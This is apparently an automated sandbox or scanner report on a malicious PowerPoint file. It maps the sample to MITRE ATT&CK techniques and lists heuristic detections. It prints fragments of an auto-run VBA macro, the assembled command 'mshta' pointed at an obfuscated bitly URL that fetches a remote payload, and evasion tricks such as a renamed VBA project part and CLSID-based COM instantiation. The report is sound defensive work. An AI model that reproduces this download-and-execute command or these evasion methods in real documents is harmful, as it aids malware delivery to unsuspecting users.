MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32

The sample contains a VBA macro that is automatically executed upon opening. This macro leverages the WScript.Shell COM object to run a command. The command is constructed by concatenating strings to form 'mshta https://1230948%1230948@bitly.com/akdhikhasd', which indicates an attempt to download and execute a payload from the specified URL. The use of mshta suggests a potential for further execution, possibly involving PowerShell or other scripting interpreters.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/eui.bin)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Case 1
        getEnumName = "mshta "
    Case 2
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    Public Function myvalue()
Set myvalue = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
End Function
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Public Function myvalue()
Set myvalue = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://1230948%1230948@bitly.com/akdhikhasd In document text (OOXML body / shared strings)
